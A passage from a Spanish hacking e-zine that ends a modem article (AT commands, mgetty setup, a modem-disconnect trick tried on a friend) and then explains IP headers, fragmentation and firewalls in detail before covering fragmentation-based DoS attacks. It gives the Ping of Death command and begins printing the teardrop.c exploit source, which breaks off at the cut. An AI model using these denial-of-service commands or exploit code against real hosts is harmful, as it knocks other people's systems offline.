probado este ataque con exito con un amigo que tiene un modem cutre y funciona
de maravilla. Por cierto, recordad que, por logica, si vuestro modem es
vulnerable os caeis vosotros en vez de la victima :)

Para parchearnos basta ajustar los registros correspondientes para cambiar el
caracter o el numero de caracteres de escape necesarios, o para desactivarlo
si el modem lo permite. Una buena idea seria dejarlo grabado en el modem (si
este lo permite) o engancharlo a los scripts de conexion del pppd.

Voy a ver que pasa cuando me llaman...

ATDT020;
OK
ATZ
OK

RING

RING

*** Ring! Ring! Una onomatopeya: que bonito. El 020 en mi pueblo es la
rellamada: Hace sonar el telefono despues de unos segundos...

ATA
NO CARRIER

*** Con ATA descuelga y intenta establecer una conexion con el supuesto modem
que marca. Al no conseguirlo nos muestra "NO CARRIER" y cuelga.

Bien, intentemos hacer algo util con las llamadas de datos que recibimos.

# Example how to put a getty on a modem line.
#
T3:23:respawn:/sbin/mgetty -x0 -s 57600 ttyS3

*** Cogido del /etc/inittab de mi debian :)

Con esto ofreceremos "login" a aquellos que llamen a nuestro modem con su
terminal o emulador de terminal (ATDTnuestronumdetelefono) :)

mgetty se puede instalar via apt en Debian. Tambien hay un mgetty-fax y un
mgetty-voice para modems que soporten estas funciones.

Evidentemente que tambien podemos ofrecer PPP o SLIP a los que llamen para
darles acceso a nuestra red local o ofrecerles acceso a internet si disponemos
de el a traves de otro interface ;) Pero no tengo ni idea de como se monta
esto, asi que de momento no hablare de ello, quiza otro dia investigue un poco
mas y escriba un articulo con nombre "Como montar un ISP en casa".

ATS11?
072

Me ha parecido interesante este registro, pues con el podemos ajustar la
duracion de los tonos multifrecuencia, y asi acelerar mucho la marcacion.

Aqui finalizo este articulo, que espero que sea de utilidad. Me gusta dar
siempre una bibliografia con las fuentes de donde he sacado la informacion de
lo que escribo, pero esta vez solo he usado el manual de mi "U.S. Robotics 56K
Message"
y la ayuda que el propio modem proporciona.

Dejo mucho por explicar para que investigueis un poco: El ajuste del volumen,
muchos modems soportan identificacion de las llamadas entrantes (Caller ID),
funciones de autoprueba (AT&T1, AT&T2...)

Bye.

-=(EOF)=-
-=( 7A69#11 )=--=( art15 )=--=( Fragmentacion de IP )=--=( Lykeios )=-

ATAQUES BASADOS EN FRAGMENTACION DE IP
======================================

Indice
======

1.- Introduccion
2.- Internet Protocol (IP)
2.1.- Generalidades
2.2.- Fragmentacion
3.- Filtrado de paquetes
4.- Ataques
4.1.- DoS
4.2.- Bypass firewalls
5.- Prevision de futuro
6.- Bibliografia


1.- Introduccion
^^^^^^^^^^^^^^^^
Buenas noches. Soy Lykeios.

Si bien los ataques basados en fragmentacion de paquetes IP no son nada nuevo,
lo cierto es que no se ha escrito mucho sobre el tema. Esta fue una de las
razones que me impulsaron a escribir este texto; y tambien la curiosidad,
porque he de decir que cuando me plantee este proyecto apenas tenia idea de
la utilidad de esta caracteristica del protocolo IP.

Yo he aprendido mas que nadie con este texto; conoci mas a fondo el IP, las
tecnicas de filtrado de paquetes, he escrito mi primer escaneador de puertos
e incluso me he acercado al IPv6 para escribir el punto 5. En fin, espero
que tu al menos puedas sacar algo en limpio de todo esto.

Si detectas cualquier error o equivocacion, fruto del descuido o del puro
desconocimiento, mandame un mail. Tambien me puedes mandar un mail con
cualquier duda o sugerencia, >> referente al texto <<, a :

lykeios@bigfoot.com

Bueno basta de charla, alla vamos.


2.- Internet Protocol
^^^^^^^^^^^^^^^^^^^^^

2.1.- Generalidades

El Internet Protocol (IP), junto con el Transmision Control Protocol (TCP), es
la base de lo que hoy conocemos como Internet. Comunmente se le situa en la
Capa de Red, aunque dependiendo del libro o manual que consultes la compartira
con el TCP o incluso tomara parte de la Capa de Enlace.

Como en cualquier modelo de redes basado en capas (existen otros?), cada una
de estas se sirve de los servicios de la inferior y ofrece otros servicios a
la superior. De forma que para cada capa resulta transparente la forma en que
la inferior consigue ofrecerselos.

De forma grafica y para el caso concreto del modelo TCP/IP (internet),
quedaria como sigue:

......
---------------------------------------------
| Capa de Transporte (TCP, UDP) |
---------------------------------------------
||
---------------------------------------------
| Capa de Red (IP && ICMP) |
---------------------------------------------
||
---------------------------------------------
| Capa de Enlace (802.3/ethernet,PPP,...) |
---------------------------------------------
......

Por encima de la capa de transporte tendriamos los protocolos de aplicacion:
SMTP, FTP, TELNET, HTTP,... mientras que por debajo de la de enlace quedarian
los protocolos de la Capa Fisica, que tambien los hay; aunque lo cierto es que
normalmente ya van implementados en la parte MAC (Control de Acceso al Medio)
de la Capa de Encale (asi ocurre, por ejemplo, en las redes ethernet, token
bus (802.4) y token ring (802.5))

Como habras visto, en la Capa de Red tambien aparece el ICMP (Internet Control
Message Protocol), debido a que, aunque se trata de un protocolo aparte, en
realidad es una parte mas de IP. Hasta el punto que todos los modulos de IP
deben tener implementado el ICMP.

La unidad basica de IP es el datagrama (IP datagram). Y el proposito de IP es
permitir el flujo de estos datagramas entre diferentes redes interconectadas.
Para conseguirlo se parte de la base de que todo host o gateway posee un
modulo IP, cada vez que le llega un datagrama comprueba si es para el: en caso
afirmativo lo procesa y en caso negativo lo manda hacia su destino por el
"mejor camino posible" (termino mucho mas ambiguo de lo que pudiera parecer).

Los dos grandes servicios que ofrece IP para esta tarea a las capas superiores
son: direccionamiento y encaminamiento. Que que? Que no ves la diferencia
entre una cosa y la otra? Puede que si te lo digo en ingles: addressing and
routing. Tampoco?

Dejame que te lo explique, que es muy sencillo. Cuando hablo de
direccionamiento me refiero a que se pueda identificar cada host o gateway de
forma univoca (darles una direccion). Mientras que cuando hablo de
encaminamiento me refiero a las pautas o normas a seguir para que un
determinado datagrama llegue a su destino.

Direccionamiento
----------------

Cada host tendra asignada una direccion IP (IP address). Es importante aclarar
aqui que no se debe confundir la direccion IP con el(los) nombre(s) del host.
IP trabaja unicamente con direcciones IP, dejando para protocolos superiores
el paso de nombres a direcciones IP (DNS,Domain Name System), y para
protocolos inferiores el paso de direccion IP (logica) a direccion fisica
(ARP, Address Resolution Protocol). Ejemplo:

Nombre : www.perico.org
Direccion IP : 193.234.44.101
Direccion fisica: 08-00-21-2E-5D-0C

Tambien hay que tener en cuenta que una maquina (fisica) puede tener asociadas
varias direcciones IP, simplemente soportando varios interfaces de red. Como
ejemplo tipico podriamos poner un router.

Las direcciones IP tienen una longitud fija de 4 bytes (32 bits). Representada
como cuatro numeros de un byte separados por puntos.
[ N. del A: Aunque en el RFC791 se evita usar el termino 'byte' (utilizando en
su lugar 'octect'), debido a que en ciertos entornos un byte puede no ser 8
bits, creo que quedara mas claro para la mayoria si utilizo la palabra con la
que estamos mas familiarizados.]

Cada direccion esta formada por un numero de red seguido de la direccion
local. De esta forma las redes se dividen en clases dependiendo del espacio
asignado a cada parte de la direccion.

Clase A : Su bit mas significativo es cero. Los siguientes 7 bits componen el
numero de red, mientras que los 24 bits restantes formaran la direccion local.

+-+-------+------------------------+
|0| # Red | Host |
+-+-------+------------------------+

Como puedes ver, en redes de clase A se pueden direccionar hasta 16.777.214
hosts. (Casi na').

Clase B: Sus dos bits mas significativos son '10'. Los siguientes 14 bits son
el numero de red y los 16 bits restantes la direccion local.

+--+--------------+----------------+
|10| # Red | Host |
+--+--------------+----------------+

Una clase B permite direccionar 65534 hosts.

Clase C: Los tres bits mas significativos son '110'. Los siguientes 21 bits
son el numero de red y los 8 ultimos componen la direccion local.

+---+---------------------+--------+
|110| # Red | Host |
+---+---------------------+--------+

Las clases C permiten direccionar tan solo 254 hosts (mas que sufucientes en
muchos casos).

Se podria decir que si las direcciones de una red coinciden en sus tres
primeras partes es que les han a signado una clase C, mientras que si
coinciden solo las dos primeras es que es una clase B, etc. Aunque la verdad
es que con la utilizacion de tecnicas como la division de una red en subredes,
o la asignacion de clases C consecutivas en lugar de una clase B (para ahorro
de direcciones), lo dicho anteriormente deja de cumplirse.

Para que te hagas una idea, por lo que yo se Servicom tiene asignada una
clase B.

Ciertos tipos de direcciones estan reservadas, como por ejemplo:

127.*.*.* ==> para la propia maquina.
255.255.255.* ==> para enmascarar.
...muchas otras...

Existen otras dos clases con propositos distintos a los vistos hasta ahora:

Clase D: Se utilizan a la hora de mandar un datagrama con *varios* hosts
destino (IP multicast). El formato es el siguiente:

+----+-----------------------------+
|1110| Multicast address |
+----+-----------------------------+

Las razones para querer enviar un datagrama a varios destinos pueden ser muy
diversas (como un aviso de actualizacion a una base de datos distribuida); y
la razon de que se haga asi en lugar de enviar un datagrama a cada host es
evidente: se intenta congestionar la red lo menos posible.

La forma de gestionar el IP multicast es muy sencilla; cada host decide cuando
se une y cuando se da de baja de un 'multicast group'. Cada grupo tendra
asignada una direccion de multicast, de tal forma que cuando se emite un
datagrama con destino a esa direccion, todos los hosts que pertenecen a ese
grupo aceptan el datagrama.

Las direcciones de multicast solo tienen sentido si aparecen en el campo de
destino. Nunca apareceran en el campo de direccion origen.

Tambien existen direcciones de multicast reservadas, como:

224.0.0.1 ==> Todos los hosts de esta red.
224.0.0.2 ==> Todos los routers de esta red.
...muchas otras...
[N. del A: Tened en cuenta que "todos" significa 'todos los que participen
en multicast', ok?]

Clase E: Reservadas para futuro uso.

+-----+----------------------------+
|11110| |
+-----+----------------------------+

No parece que se vayan a utilizar nunca.

Encaminamiento
--------------

Como ya dije, el encaminamiento consiste en una serie de normas que hacen que
un datagrama llegue a su destino. En este proceso tomaran parte todos los
hosts intermedios por los que pase el datagrama, asi como el origen y el
destino del mismo.

Existen dos tipos de encaminamiento: el directo, cuando la direccion destino
pertenece a la misma red que la direccion origen; e indirecto, que es
precisamente lo contrario. La mayor diferencia entre uno y otro es que,
mientras que en el segundo es necesaria la participacion de gateways o
routers, en el primero no.

El caso de encaminamiento directo es muy sencillo, el modulo IP del host
origen manda el datagrama directamente al host destino despues de comprobar,
en su tabla de enrutado, que este se encuentra en su propia red.

Para el caso de encaminamiento indirecto la cosa se complica; en un caso
sencillo en el que los hosts origen y destino se encuentran en dos redes
conectadas por un router, el proceso seria el siguiente:

El modulo IP del host origen comprueba en su tabla de enrutado que el host
destino no pertenece a su red. En la propia tabla de enrutado encontrara el
router al que debe enviar el datagrama para que llegue a la red del host
destino. Crea el datagrama y lo manda a ese router.

Cuando el modulo IP del router recibe el datagrama mira la direccion del host
destino, comprobando que se encuentra en una segunda red. Mirando en su tabla
de enrutado el router ve que puede mandar el datagrama de forma directa en esa
segunda red y lo hace. Si no pudiera mandarlo directamente (por no encontrarse
en una de las redes a las que pertene ese router), lo enviaria a otro router
(que tambien habria elegido consultando su tabla de enrutado).

El modulo IP del host destino comprueba que la direccion destino del datagrama
coincide con la propia y lo pasa al protocolo superior.

En los ejemplos mas tipicos, los datagramas deben pasar por varias redes
intermedias antes de llegar al host destino. Debiendo pasar por varios routers
y tomando, cada uno de ellos, las decisiones necesarias para el proximo salto
unicamente.

El camino seguido por un datagrama viene determinado por las tablas de
enrutado de los hosts y routers por los que pasa. Los factores que intervienen
en la eleccion son muchos, pudiendo perfectamente variar este camino aunque
los hosts origen y destino sean los mismos. Tambien se puede controlar hasta
cierto punto este camino por ciertos campos de la cabecera del datagrama que
veremos en el proximo apartado.

Cabecera IP
-----------

Los campos que componen la cabecera de cualquier datagrama son los siguientes:

+-------------------------------- RFC791 ------------------------------------+

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

+-------------------------------- RFC791 ------------------------------------+

Siendo el significado y el uso de cada uno de ellos:

* Version. (4 bits)
La version del protocolo IP que se esta utilizando. En la actualidad vale
siempre '0100' (4), debido a que se sigue usando el IPv4. Cuando se pase al
ya famoso IPv6, en la cabecera de cualquier datagrama IPv6 habra un campo
analogo que valdra '0110' (6, logico, no?).

Quizas te preguntes para que hace falta este campo si cuando se cambie de
version todos los datagramas seran IPv6; la razon es sencilla, el paso de IPv4
a IPv6 (como cualquier otra evolucion de un protocolo) no se producira de la
noche a la ma¤ana, sino que sera gradual (se calcula que durara unos 10 a¤os),
teniendo que convivir ambas versiones durante ese tiempo.

* IHL - Internet Header Length. (4 bits)
Pues eso, la longitud de la cabecera del datagrama en unidades de 32 bits.
Para un datagrama simple, sin opciones, valdra siempre '0101' (5).

* Type of Service. (8 bits)
Permite controlar ciertos parametros de la transmision de datagrama. Tiene la
siguiente forma:

0 1 2 3 4 5 6 7
+-+-+-+-+-+-+-+-+
| PRE |D|T|R|0|0|
+-+-+-+-+-+-+-+-+

PRE ==> Prioridad (Precedence).
Viene a determinar la importancia o urgencia del datagrama. De mayor a menor
prioridad:

111 - Network Control
110 - Internetwork Control
101 - CRITIC/ECP
100 - Flash Override
011 - Flash
010 - Immediate
001 - Priority
000 - Routine

D ==> Demora (Delay)

0 - Demora normal
1 - Demora baja

T ==> Throughput (joder, no se como traducirlo.. :( )

0 - Normal throughput
1 - High throughput

R ==> Confianza (Reliability)

0 - Confianza normal
1 - Alta confianza

Los bits 6 y 7 estan reservados para futuros usos.

Con estos parametros se puede determinar, hasta cierto punto, la prioridad
del datagrama; aunque se deja a cada red la responsabilidad de decidir la
forma en que responde a estos campos.

* Total Length. (16 bits)
Como su nombre indica es la longitud total del datagrama expresada en bytes.
Esto incluye la cabecera y los datos.

Al tener un tama¤o de 16 bits, fija el tama¤o maximo de un datagrama a 65535
bytes. Aunque normalmente se trabajara con tama¤os mas peque¤os: 1500 bytes,
576 bytes, etc.

* Identification. (16 bits)
Un n£mero que permite, junto con las direcciones origen y destino y el campo
protocol, identificar al datagrama. Se utiliza a la hora de reensamblar los
fragmentos de un mismo datagrama.

* Flags. (3 bits)
Pues eso, tres flags de control. Aunque en realidad solo dos tienen funcion
asignada.

0 1 2
+-+--+--+
|0|DF|MF|
+-+--+--+

Bit 0 ==> No es usado. Valdra siempre '0'.

Bit 1 ==> No fragmentar (Don't Fragment).

'0' - Se puede fragmentar.
'1' - No fragmentar (Don't Fragment).

Bit 2 ==> Mas fragmentos.

'0' - Ultimo fragmento.
'1' - Quedan mas fragmentos.

El uso de estos dos flags sera visto mas en profundidad en el apartado
dedicado a la fragmentacion de datagramas.

* Fragment Offset. (13 bits)
Indica al lugar que ocupa un fragmento dentro de un datagrama. Se expresa en
unidades de 8 bytes.

Tambien se vera su forma de uso en el apartado de fragmentacion.

* Time to Live. (8 bits)
Indica el tiempo maximo que un datagrama puede estar 'suelto' por la red.
Aunque se expresa en segundos, la forma en la que realmente funciona es
restandole una unidad en cada host por el que pasa. Por lo que viene a
representar el numero de saltos que puede dar.

Si en algun momento el valor de este campo es cero, el datagrama es destruido,
se pierde.

* Protocol. (8 bits)
Indica el protocolo al que pertenece el paquete que esta siendo transportado
por el datagrama.

Algunos valores que puede tomar son:

Binario Decimal Protocolo
-------- ------- ---------
00000001 1 ICMP
00000100 4 IP (IP llevando paquetes IP, encapsulacion)
00000110 6 TCP
00010001 17 UDP

Entre otros muchos.

* Header Checksum. (16 bits)
Se utiliza para asegurar la integridad de los datos de la cabecera.

El algoritmo que se utiliza es muy simple: se trata del complemento a 1 del
complemento a 1 de la suma de todas las palabras (16 bits) de la cabecera. A
la hora de calcularlo se supone que el campo 'Header Checksum' vale cero.

Debido a que algunos de los campos de la cabecera van cambiando, como el 'Time
to Live' o los asociados a fragmentacion si esta se produce, el valor del
'Header Checksum' se verifica y se recalcula en cada host por el que pasa.

* Source Address. (32 bits)
Direccion IP del host que manda el datagrama.

* Destination Address. (32 bits)
Direccion IP del host destino del datagrama.

* Options. (variable: 0 - 40 bytes)
Este campo es el unico no-obligatorio de la cabecera (bueno, junto con el
'Padding'. Pero como vereis ese no es un "verdadero" campo). Aunque el RFC791
especifica que es obligatoria su implementacion en todo modulo IP, lo cierto
es que no todos los host tratan las opciones; o incluso las tratan de
diferente manera.

No voy a pararme a explicar cada una de las opciones, si realmente estais
interesados en este campo en concreto leeros el standard. Solo pondre la
lista de las que hay:

- End of option list.
- No operation.
- Security.
- Loose source routing.
- Strict source routing.
- Record route.
- Stream identifier.
- Internet timestamp.

* Padding. (variable)
Se utiliza para asegurar que la cabecera termine en un multiplo de 32 bits.
Se usa como relleno de las opciones cuando estas terminan en mitad de un
dword (32 bits). Su valor es siempre cero.


2.2.- Fragmentacion.

La fragmentacion nace como solucion a un problema con el que se encontraron
los creadores del protocolo IP. Para entender este problema es necesario
conocer una caracteristica que poseen todas las redes: el MTU (Maximun
Transmission Unit) o Unidad Maxima de Transporte; que no es otra cosa que el
tama¤o maximo que puede tener un datagrama para circular por esa red. Este
parametro puede variar de unas redes a otras: 1500 bytes en ethernet, 2044 en
proNET-10, etc. Una vez llegados a este punto cabe preguntarse que ocurre
cuando un datagrama tiene que atravesar una red cuya MTU es menor que su
tama¤o. Como respuesta a esta pregunta nacio la fragmentacion de IP.

Para controlar el proceso de fragmentacion y reensamblado de datagramas se
utilizan varios campos de la cabecera:

* Flag DF.
Si este flag esta activo ('1') el datagrama no puede ser fragmentado nunca. Si
se diese el caso de llegar a una red con MTU mas peque¤a que el tama¤o del
datagrama, este seria destruido.

* Flag MF.
Mediante este flag se marca el ultimo fragmento de un datagrama ('0').

* Fragment Offset.(FO)
Con este campo se controla la situaci¢n del fragmento dentro del datagrama.

* Total Length. (TL)
Una vez restado el tama¤o de la cabecera indicara el numero de bytes del
datagrama original que lleva ese fragmento. Daros cuenta que con el resto de
campos sabiamos si era o no un fragmento y el lugar donde comenzar a poner los
datos, pero no EL NUMERO DE BYTES QUE DEBIAMOS PONER.

Si MF = '0' y FO = 0, el datagrama no es un fragmento. Si MF = '1' y FO = 0,
se trata del primer fragmento de un datagrama. Si MF = '0' y FO != 0, se trata
del ultimo fragmento de un datagrama. Cualquier otro fragmento tendra el flag
MF = '1' y el FO != 0.

Cuando un datagrama llega a un gateway de entrada a una red cuya MTU es menor
que el tama¤o del mismo, el modulo IP del gateway comprueba el flag 'DF' de la
cabecera del datagrama. Si esta activo el datagrama es destruido. En caso
contrario se procede a la fragmentacion del mismo.

Cada fragmento de un datagrama no es mas que otro datagrama IP. Por supuesto
cada fragmento tendra sus campos MF y FO acordes con su situacion en el
antiguo datagrama y por lo tanto su Checksum tambien cambiara. Todos los
fragmentos creados seran de longitud igual al MTU de la red, excepto el
ultimo. Los fragmentos de un datagrama se distinguiran de los de otro mediante
la conjuncion de los campos: identification, protocol, source y destination
address.

En principio el antiguo datagrama sera dividido en dos fragmentos, el primero
tendra el flag MF = '1', el FO = "FO del antiguo datagrama" y el Total Length
(TL) = MTU de la red en la que entra. En el segundo fragmento no iran
incluidas algunas partes del campo 'options', por lo que el campo IHL debe ser
recalculado. Se le a¤aden los datos restantes del datagrama original, tendra
como FO el "FO del antiguo datagrama" + "(MTU - (IHL del anterior
fragmento)*4)/8"
(ya que los datos de este fragmento han de comenzar donde
terminan los datos del anterior, por eso se resta la longitud de la cabecera
del anterior fragmento y se divide entre 8 porque el campo FO va en unidades
de 8 bytes) y se pondra como MF el MF del antiguo datagrama. El primer
fragmento es enviado mientras que con el segundo se repite este mismo proceso
hasta que los datos restantes quepan en un solo datagrama.

[N. del A: Puede que el parrafo anterior me haya quedado algo dificil de
entender. Si no te has enterado de nada intenta leerlo siguiendo el ejemplo
que hay un poco mas abajo. Creeme: en realidad no es muy dificil.]

La razon de que se tenga en cuenta el FO del datagrama que se esta
fragmentando, es que podriamos estar dividiendo en fragmentos un datagrama IP
que ya sea un fragmento en si mismo. Me explico: Supongamos que un datagrama
completo (no fragmentado aun) de tama¤o 2048 bytes llega a una red de MTU =
1500 bytes. Este datagrama sera fragmentado segun el proceso anterior en dos
fragmentos de la siguiente forma:

Datos que debo enviar = 2048 - 5*4 (IHL) = 2028
- fragmento1:
IHL = 5 (20 bytes, no hay opciones)
TL = 1500 (MTU)
MF = '1' (quedan mas fragmentos)
FO = 0 (ya que el anterior datagrama no estaba fragmentado)

Datos que aun debo enviar = 2028 - (1500 - 20) = 548
- fragmento2:
IHL = 5
TL = 568 (548 bytes de datos del datagrama original + IHL*4)
MF = '0' (ultimo fragmento)
FO = 0 + (1500 - 20)/8 = 185
^^^^^^^^^^^^^
|| Parte del fragmento1 que representa datos del
datagrama original.

Supongamos que en su camino hacia su host destino el fragmento2 (de 568
bytes) debe atravesar una red de MTU = 404. Por fuerza debera ser fragmentado
de nuevo, con lo que obtendremos otros dos fragmentos de la forma:


Datos que debo enviar = 568 - 20 = 548
- fragmento2.1:
IHL = 5
TL = 404 (MTU)
MF = '1' (quedan mas fragmentos)
FO = 185 (ya que aunque sea el comienzo de un datagrama, ese
datagrama lleva datos que deben ser colocados a
partir de esta posicion)

Datos que aun debo mandar = 548 - (404 - 20) = 164
- fragmento2.2:
IHL = 5
TL = 184 (164 bytes de datos + 20 de cabecera)
MF = '0' (ultimo fragmento)
FO = 185 + (404 - 20)/8 = 233

[N. del A: Si te has perdido tambien con el ejemplo, recuerda: el campo TL va
en bytes, el IHL en unidades de 4 bytes, y el FO en unidades de 8 bytes.]

Solo como comprobacion: 233*8 + 164 = 2028 bytes. (Hey! Puede que sea algo
retorcido, pero funciona ;] ).

Creo que queda claro por que debemos tener en cuenta el FO anterior, no?

Suponiendo que el fragmento1 llego al host destino por otro camino y no tuvo
que ser fragmentado, tendremos que el datagrama original llega a su destino
en forma de tres fragmentos. Sabemos que no sera reensamblado por ningun
host intermedio ya que el RFC791 lo exige asi. Segun he leido la razon para
esto se encuentra en la segunda ley de la termodinamica (sigo sin saber si el
libro lo decia de co¤a o no :)), que dice que el proceso para recomponer un
elemento siempre conlleva mas trabajo que el de dividirlo. Otra explicacion
mas aceptada es que se intentan evitar sucesivos procesos: fragmentacion -
reensamblado - fragmentacion - ...

Cuando un datagrama llega a su destino el modulo IP comprueba los campos MF y
FO para saber si es un fragmento o no. En caso de no serlo se le quita la
cabecera y se pasan los datos al protocolo superior. Pero en caso de ser un
fragmento tendra que ser reensamblado. Hay que tener en cuenta que, aunque los
fragmentos hayan sido enviados en orden, no hay nada que los obligue a llegar
asi. Con lo que para recomponer el datagrama no basta ir cogiendo los
fragmentos segun van llegando, quitarles la cabecera y pegarlos uno detras de
otro. Lo que se hace en realidad es mantener un buffer del tama¤o maximo que
puede tener un datagrama IP (65535 bytes), e ir colocando los datos de cada
fragmento en la posicion del buffer indicada por el campo FO. Cuando llega el
ultimo fragmento (MF = '0' y desde luego FO != 0 (sino no estariamos aqui :)),
se comprueba si el resto del buffer esta completo o faltan partes (que haya
llegado el "ultimo fragmento" no quiere decir que hayan llegado TODOS los
fragmentos) y, una vez que este completo, se le pasa al protocolo superior.

En el proceso de reensamblado vuelven a intervenir los mismos campos: MF, FO y
TL. Como ya dije antes, el modulo IP reconocera los fragmentos pertenecientes
a un mismo datagrama por los campos: identification, protocol, source y
destination address. La parte del buffer de reensamblado que formaria la
cabecera del datagrama se rellena con la cabecera del primer fragmento
(MF = '1' y FO = 0), el resto de cabeceras son ignoradas (excepto para
comprobar que se trata de un fragmento del mismo datagrama, y para conocer el
offset claro).

Hay que decir que el tiempo que un host espera a que lleguen todos los
fragmentos de un datagrama no es infinito, se utiliza un contador que
disminuye con el tiempo y que se actualiza cada vez que llega un fragmento,
tomando el valor maximo entre el valor actual del contador y el valor del
campo TTL del fragmento. En el momento que el contador llega a cero los
fragmentos son descartados y el datagrama completo se pierde.

Como ultimo punto a tener en cuenta en relacion al proceso de reensamblado,
dire que el RFC791 deja abierta la posibilidad a que los fragmentos se solapen
total o parcialmente, diciendo que en ese caso tengan preferencia los ultimos
datos en llegar (o sea, que se sonbreescriba los que habia); aunque esto
ultimo no siempre se respeta, aun menos tras la aparicion de los ataques que
se trataran en este texto.


3.- Filtrado de Paquetes
^^^^^^^^^^^^^^^^^^^^^^^^
Bueno, la verdad es que tenia pensado extenderme en esta seccion mas de lo que
en realidad hare. Se podrian escribir (y de hecho se han escrito) textos y
manuales unica y exclusivamente sobre firewalls y de una extension
considerable. Tipos que existen, configuraciones, ... Yo sencillamente voy a
poner aqui una peque¤a introduccion para los que no tengan muy claro aun el
funcionamiento de estos programas. El que este verdaderamente interesado puede
leer textos como los de Marcus J. Ranum o los escritos por Paseante en SET9,
10 y 11; por citar algunos ejemplos.

Los firewalls aparecieron como consecuencia logica de la importancia que la
seguridad ha ido adquiriendo en internet. El proposito general, y con el que
nacieron, era aislar de alguna manera la red o el host propios del resto de
internet. Para ello se imponen ciertas normas y restricciones a lo que se
permite entrar a la red propia, y tambien a lo que se permite salir de nuestra
red al exterior.

Hasta la aparicion de los firewalls el control que se tenia sobre los
servicios que ofrecia un host, era unicamente el ofertarlo o no (vale, vale,
vamos a olvidarnos un rato de 'host.allow' 'host.deny', ACL's y demas...). Si
el host tenia un servidor FTP, por ejemplo, ese servidor era visible para
TODOS los demas hosts de internet. Con los firewalls se intenta controlar un
poco mas quien tiene acceso a ciertos servicios y quien no.

Las normas o reglas de filtrado se basan (en principio) en el host y el puerto
del que procede un paquete, y el host y el puerto al que se dirige.

Supongamos ahora que para mejorar la seguridad de una intranet colocamos un
firewall en su entrada, y obligamos a todos los paquetes que entran y salen de
la red a pasar por el (normalmente se hara con un router que posea la
funcionalidad de filtrado). Podriamos establecer restricciones de forma que
nadie del exterior pudiera acceder al puerto 23 (telnet) o prohibir la salida
de la intranet de paquetes dirigidos al puerto 80 (http), si no queremos que
nuestros usuarios puedan acceder a paginas web exteriores. Etc, etc. Las
configuraciones de filtrado se basan normalmente en politicas de accesibilidad
y seguridad de la red, pudiendo llegar a ser verdaderamente complejas.

Cada vez que le llegue un datagrama, el firewall comprobara los campos source
y destinatios address de la cabecera IP, y los campos source y destination
port de la cabecera TCP o UDP (dependiendo del caso). Con esos datos chequeara
las restricciones que hayan sido configuradas y decidira si lo deja pasar o lo
"quema".

Comentar tambien que una practica bastante extendida es descartar los paquetes
(TCP en este caso) que tengan el bit SYN='1' y ACK='0', tipico paquete de
peticion de conexion.

Si el tipo de firewall del que estamos hablando fuera un 'proxy' o 'aplication
gateway', las restricciones prodrian fijarse tambien al nivel de aplicacion.


4.- Ataques
^^^^^^^^^^^

4.1.- DoS (Denial of Service)

Puede que despues de haber leido todo lo anterior, pienses que cualquier
ataque que se base en la fragmentacion de datagramas debe ser, por fuerza,
tremendamente complejo. Lo cierto es que no es asi, y por eso mismo voy a
empezar por estos.

Si te digo que ya conoces, y posiblemente hayas utilizado, al menos dos de
estos ataques, te sorprenderia? :) Sigue leyendo...


Ping of Death
-------------

Si se¤or, amigo mio. El archiconocido y ya superado 'ping de la muerte', esta
basado en un error a la hora de reensamblar un paquete demasiado grande.

En realidad no tiene nada que ver con la aplicacion "ping", pudiendo
reproducirse, en su momento, con cualquier programa capaz de enviar paquetes
lo bastante grandes.

La explicacion teorica es muy sencilla despues de haber leido el resto de este
texto. Sabemos que el tama¤o maximo de un datagrama IP es de 65535 bytes, de
los cuales 20 bytes pertenecen a la cabecera y el resto (65515) a los datos.
El MTU de cualquier red es menor, con lo que la fragmentacion y el posterior
reensamblado se hacen inevitables.

Cuando los fragmentos llegan al host destino, este prepara un buffer del
tama¤o maximo permitido para un datagrama, que es 65535, para proceder al
reensamblado. Pero si el tama¤o del datagrama que enviamos es mayor... pues
eso, el buffer se desvorda y las consecuencias son un hang o un crash de la
maquina.

La razon por la que se utilizo mayoritariamente el ping es que permitia fijar
el tama¤o del paquete, con lo que hacia todo el trabajo el solito.

Sabiendo que la cabecera IP es de 20 bytes (sin opciones) y que la cabecera
de un ping (ICMP) es de 8 bytes, solo quedaba a¤adir los datos suficientes
para llegar a 65536 (*sic*)...

> ping -l 65508 host

Este es el famoso comando que tiraba cualquier maquina con una sola linea.


Teardrop
--------

En este caso lo que se aprovecha es un error a la hora de tratar los
fragmentos que se solapan. Se envia el primer fragmento, y despues otro que
lo solapa parcialmente pero que no lleva datos suficientes. El resultado
es (era) tirar cualquier maquina Linux/NT/95.

Este es el codigo, aunque ya es bastante 'viejo' y no es probable que
funcione:

/*
* Copyright (c) 1997 route|daemon9 <route@infonexus.com> 11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
